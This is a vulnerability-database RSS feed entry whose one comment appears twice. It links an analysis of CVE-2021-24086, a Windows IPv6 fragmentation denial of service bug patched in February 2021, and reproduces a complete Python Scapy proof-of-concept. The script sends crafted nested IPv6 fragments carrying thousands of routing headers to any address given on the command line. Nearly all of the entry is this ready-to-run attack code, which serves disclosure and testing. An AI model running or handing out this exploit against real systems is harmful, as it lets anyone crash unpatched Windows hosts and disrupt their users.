https://db.gcve.eu Contains only the most 10 recent comments. http://www.rssboard.org/rss-specification python-feedgen en Thu, 21 May 2026 17:38:37 +0000 https://db.gcve.eu/comment/e58954bd-8b24-451b-9853-c16202937347 [Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html). This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin. ### Proof of Concept ```python import sys import random from scapy.all import * FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8 NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58 def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472 return raw(er) def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4() # 0x1ffa Routing headers == 0xffd0 bytes routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1) routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG)) # First inner fragment header: offset=0, more=1 FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id def send_last_inner_fragment(target_addr, inner_frag_id): raw_er = get_layer4() ip = IPv6(dst = target_addr) # Second (and last) inner fragment header: offset=1, more=0 FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:]) def trigger(target_addr): inner_packet, inner_frag_id = get_inner_packet(target_addr) ip = IPv6(dst = target_addr) hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG) outer_frag_id = random.randint(0, 0xffffffff) fragmentable_part = [] for i in range(len(inner_packet) // FRAGMENT_SIZE): fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE]) if len(inner_packet) % FRAGMENT_SIZE: fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:]) print("Preparing frags...") frag_offset = 0 frags_to_send = [] is_first = True for i in range(len(fragmentable_part)): if i == len(fragmentable_part) - 1: more = 0 else: more = 1 FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE) blob = raw(FH/fragmentable_part[i]) frag_offset += FRAGMENT_SIZE frags_to_send.append(ip/hopbyhop/blob) print("Sending {} frags...".format(len(frags_to_send))) for frag in frags_to_send: send(frag) print("Now sending the last inner fragment to trigger the bug...") send_last_inner_fragment(target_addr, inner_frag_id) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py <IPv6 addr>') sys.exit(1) trigger(sys.argv[1]) ``` [Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html). This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin. ### Proof of Concept ```python import sys import random from scapy.all import * FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8 NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58 def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472 return raw(er) def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4() # 0x1ffa Routing headers == 0xffd0 bytes routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1) routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG)) # First inner fragment header: offset=0, more=1 FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id def send_last_inner_fragment(target_addr, inner_frag_id): raw_er = get_layer4() ip = IPv6(dst = target_addr) # Second (and last) inner fragment header: offset=1, more=0 FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:]) def trigger(target_addr): inner_packet, inner_frag_id = get_inner_packet(target_addr) ip = IPv6(dst = target_addr) hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG) outer_frag_id = random.randint(0, 0xffffffff) fragmentable_part = [] for i in range(len(inner_packet) // FRAGMENT_SIZE): fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE]) if len(inner_packet) % FRAGMENT_SIZE: fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:]) print("Preparing frags...") frag_offset = 0 frags_to_send = [] is_first = True for i in range(len(fragmentable_part)): if i == len(fragmentable_part) - 1: more = 0 else: more = 1 FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE) blob = raw(FH/fragmentable_part[i]) frag_offset += FRAGMENT_SIZE frags_to_send.append(ip/hopbyhop/blob) print("Sending {} frags...".format(len(frags_to_send))) for frag in frags_to_send: send(frag) print("Now sending the last inner fragment to trigger the bug...") send_last_inner_fragment(target_addr, inner_frag_id) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py <IPv6 addr>') sys.exit(1) trigger(sys.argv[1]) ``` https://db.gcve.eu/comment/e58954bd-8b24-451b-9853-c16202937347 Fri, 30 Aug 2024 12:27:27 +0000